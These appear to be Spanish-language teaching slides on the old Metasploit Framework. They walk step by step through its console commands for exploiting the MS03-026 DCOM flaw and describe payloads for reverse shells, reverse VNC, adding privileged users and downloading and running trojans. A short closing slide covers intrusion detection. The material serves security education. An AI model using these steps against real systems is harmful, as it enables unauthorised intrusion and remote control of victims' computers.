SOFTWARE RELACIONADO
Metasploit

- Conceptos Básicos.
  - Metasploit se ejecuta bajo una consola CYGWIN y trabaja con una base de datos en la cual se encuentran toda la lista de exploits y vulnerabilidades, lo único que tenemos que indicarle a metasploit es que vulnerabilidad utilizaremos, que sistema atacaremos, que tipo de ataque utilizaremos y datos diversos que utilizara para atacar al host.
  - Se llama Metasploit Framework por que es todo un entorno de testeo para diversas plataformas, la cual trabaja con bibliotecas, bases de datos, y diversos programas, shell codes, etc. Por tal deja de ser un simple software si no un framework.

www.metasploit.com

SOFTWARE RELACIONADO
Metasploit

- Conceptos Básicos.
  - FrameWork: En el desarrollo de software, un Framework es una estructura de soporte definida en la cual otro proyecto de software puede ser organizado y desarrollado. Típicamente, un framework puede incluir soporte de programas, bibliotecas y un lenguaje de scripting entre otros softwares para ayudar a desarrollar y unir los diferentes componentes de un proyecto.
  - Exploit: (viene de to exploit - aprovechar) - código escrito con el fin de aprovechar un error de programación para obtener diversos privilegios

SOFTWARE RELACIONADO
Metasploit

- Conceptos Básicos.
  - Shell: Parte fundamental de un sistema operativo encargada de ejecutar las órdenes básicas para el manejo del sistema. Suelen incorporar características tales como control de procesos, redirección de entrada/salida y un lenguaje de órdenes para escribir programas por lotes o (scripts).
  - CYGWIN: Es una consola UNIX emulada bajo entornos no Unix, como son Windows y Mac, en ella se encuentran todos los comandos Unix y funciona de la misma manera.

SOFTWARE RELACIONADO
Metasploit

- Conceptos Básicos.
  - GNU: Es un acrónimo recursivo que significa "GNU No es Unix". Stallman sugiere que se pronuncie Ñu (se puede observar que el logo es un ñu) para evitar confusión con "new" (nuevo). UNIX es un sistema operativo propietario muy popular, porque está basado en una arquitectura que ha demostrado ser técnicamente estable. El sistema GNU fue diseñado para ser totalmente compatible con UNIX.
  - Conexión inversa: Es un método de ataque, donde la víctima se conecta a un host y puerto especificado para recibir ordenes, comúnmente utilizado para saltar firewalls.

SOFTWARE RELACIONADO
Metasploit

- Conceptos Básicos.
  - VNC: Es un programa de software libre basado en una estructura cliente-servidor el cual nos permite tomar el control del ordenador servidor remotamente a través de un ordenador cliente.
  - También llamado software de escritorio remoto. VNC permite que el sistema operativo en cada computadora sea distinto. Es posible compartir la pantalla de una máquina con Windows en una máquina con GNU/Linux y viceversa.

SOFTWARE RELACIONADO
Metasploit

- Modalidades Funcionamiento.
  - Metasploit trabaja en 2 modalidades las cuales se pueden ejecutar en todas las plataformas y para elegir una es cuestión de gustos y comodidad.
    - Modo Web: (msfweb.bat)
    - Modo Consola

SOFTWARE RELACIONADO
Metasploit

- Modo Web: (msfweb.bat)
  - Esta modalidad de metasploit es una manera muy cómoda de trabajar ya que aquí toda la interface es web y no tienes que escribir mucho, todo lo demás consiste en seleccionar opción por opción y al final solo presionar un botón de “Exploit” para comenzar con el ataque, también tiene su modalidad de ataque por shell el cual lo maneja por secciones

SOFTWARE RELACIONADO
Metasploit

- Modo Web: (msfweb.bat)
  - Para entrar a este modo, lo único que se tiene que hacer es abrir el archivo msfweb.bat de metasploit, lo cual hará que aparezca un mensaje como este:
    - **+----=[Metasploit Framework Web Interface (127.0.0.1:55555)**
  - Una vez mostrado este mensaje solo es de ir a cualquier navegador web y entrar a la dirección http://127.0.0.1:55555, y desde esta pagina realizar los ataques y trabajo con metasploit
  - Nota: si cierras la consola msfweb.bat La pagina web dejara de cargar, Es necesario que este en ejecución Para hacer tus ataques

SOFTWARE RELACIONADO
Metasploit

- Modo Web: (msfweb.bat)

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
  - El modo de consola de metasploit aunque es un poco más engorroso trabajar con el, suele funcionar de una manera más rápida y a veces mejor. Se trabaja por medio de comandos.

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.
  - **show exploits**
    - Nos mostrara una gran lista de exploits disponibles, de los cuales tendremos que seleccionar alguno y dependiendo del sistema que deseemos atacar seleccionaremos el adecuado

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.
  - **use [exploit]**
    - **[exploit] es el nombre del exploit que utilizare**
    - **Ejemplo: exploit DCOM**
      - Nos mostrara una gran lista de exploits disponibles, de los cuales tendremos que seleccionar alguno y dependiendo del sistema que deseemos atacar seleccionaremos el adecuado

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.
  - **use DCOM**

```
 Overflow
  mailenable_imap_w3c              MailEnable IMAPD W3C Logging Buffer Overflow
  maxdb_webdbm_get_overflow        MaxDB WebDBM GET Buffer Overflow
  mcafee_epolicy_source            McAfee ePolicy Orchestrator / ProtPilot Source
Overflow
  mdaemon_imap_cram_md5            Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Ove
rflow
  mercantec_softcart               Mercantec SoftCart CGI Overflow
  mercur_imap_select_overflow      Mercur v5.0 IMAP SP3 SELECT Buffer Overflow
  mercury_imap                     Mercury/32 v4.01a IMAP RENAME Buffer Overflow
  minishare_get_overflow           Minishare 1.4.1 Buffer Overflow
  mozilla_compareto                Mozilla Suite/Firefox InstallVersion->compareTo
() Code Execution
  ms05_030_nntp                    Microsoft Outlook Express NNTP Response Parsing
MS05-030 Buffer Overflow
  ms05_039_pnp                     Microsoft PnP MS05-039 Overflow
  msasn1_ms04_007_killbill         Microsoft ASN.1 Library Bitstring Heap Overflow

  msmq_deleteobject_ms05_017       Microsoft Message Queueing Service MS05-017
  msrpc_dcom_ms03_026              Microsoft RPC DCOM MS03-026
  mssql2000_preauthentication      MSSQL 2000/MSDE Hello Buffer Overflow
  mssql2000_resolution             MSSQL 2000/MSDE Resolution Overflow
  netapi_ms06_040                  Microsoft CanonicalizePathName() MS06-040 Overf
low
  netterm_netftpd_user_overflow    NetTerm NetFTPD USER Buffer Overflow
```

use msrpc_dcom_ms03_026

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.
  - **Show Targets**
    - **Muestra los sistemas afectados por el exploit seleccionado.**

```
Supported Exploit Targets
==========================

   0  Windows NT SP3-6a/2K/XP/2K3 English ALL
```

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.
  - **Set [Variable] [Valor]**
    - **Selecciona el Sistema indicado.**
    - **Atención VARIABLE tiene que ir en mayúsculas.**
    - **set TARGET 0**
      - **Ejecuta el Sistema indicado por Cero.**

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.
  - **show payloads**
    - **Muestra la lista de ataques que podemos realizar según exploit y sistema seleccionado.**

```
  win32_adduser                 Windows Execute net user /ADD
  win32_bind                    Windows Bind Shell
  win32_bind_dllinject          Windows Bind DLL Inject
  win32_bind_meterpreter        Windows Bind Meterpreter DLL Inject
  win32_bind_stg                Windows Staged Bind Shell
  win32_bind_stg_upexec         Windows Staged Bind Upload/Execute
  win32_bind_vncinject          Windows Bind VNC Server DLL Inject
  win32_downloadexec            Windows Executable Download and Execute
  win32_exec                    Windows Execute Command
  win32_passivex                Windows PassiveX ActiveX Injection Payload
  win32_passivex_meterpreter    Windows PassiveX ActiveX Inject Meterpreter Pay
load
```

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.**show payloads. Ataques**
  - **win32_adduser**: agregara un usuario (con permisos elevados) al sistema que penetremos
  - **win32_bind_vncinject**: nos mostrara una pantalla del usuario con la cual podemos manejar y controlar su equipo remotamente (un VNC).
  - **win32_downloadexec**: Descargara un archivo de algún servidor web o ftp y lo ejecutara (entre ellos puede estar troyanos).

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.**show payloads. Ataques**
  - **win32_exec**: Ejecutará un comando especificado por ti en la variable CMD.
  - **win32_reverse**: Nos dará una shell inversa por si tiene firewall y no podemos abrir puertos.
  - **win32_reverse_vncinject**: Nos dará un VNC inverso por si tiene firewall y no podemos abrir puertos.

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.
  - **set PAYLOAD tipo de ataque.**
    - Ejecuta el taque indicado
    - **set PAYLOAD win32_reverse_vncinject**
      - Según el tipo de ataque nos va a pedir que le introduzcamos mas información, para ello ejecutaremos el comando show options.

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.
  - **show options**.
    - Muestra los parámetros a introducir para realizar el ataque.

```
Exploit Options
===============

  Exploit:     Name       Default     Description
  --------     ------     -------     -----------------
  required     RHOST                  The target address
  required     RPORT      135         The target port

  Target: Windows NT SP3-6a/2K/XP/2K3 English ALL
```

Required. Parámetro obligatorio para realizar el ataque.

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.**show options**.
  - Parámetros habituales.
    - RHOST. Host que atacaremos
    - RPORT. Puerto por el que se conectara. Por defecto el 135.
    - LHOST. IP de tu equipo para conexiones inversas
    - LPORT. Puerto disponible de tu equipo para conexiones inversas

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.**show options**.
  - Ejemplo.
    - set RHOST IPVIctima
      - Ip de la víctima
    - set RPORT PuertoDeLaVictima
      - Puerto de la víctima a utilizar.

SOFTWARE RELACIONADO
Metasploit

- Modo Consola: (msfconsole.bat)
- Comandos.
  - **Exploit**
    - Ejecuta el exploit preparado.
    - Nota: Normalmente y según el exploit seleccionado hay que esperar.

SOFTWARE RELACIONADO
Metasploit

- Actualizaciones.
  - Como metasploit utiliza una base de datos donde tiene guardada toda la información (targets, exploits, etc.) es recomendable actualizara, esto se puede hacer ejecutando el archivo **msfupdate.bat**.
  - Una vez ejecutado empezara a buscar actualizaciones y si hay te preguntara si quieres descargarlas.

Detección de Intrusos en Tiempo Real

- Se deben añadir elementos que controlen lo que ocurre dentro de la Red (detrás de los Firewalls).
  - Inspeccionar el tráfico de la red en busca de posibles ataques.
  - Controlar el registro de los servidores
  - Mantener una base de datos con el estado exacto de los archivos importantes (Integrity Check)
  - Controlar el ingreso de nuevos archivos al sistema
  - Controlar el núcleo de los S.O.
  - Avisar al administrador de cualquiera de las acciones anteriores.
  - Software:
    - Languard
    - Netbrute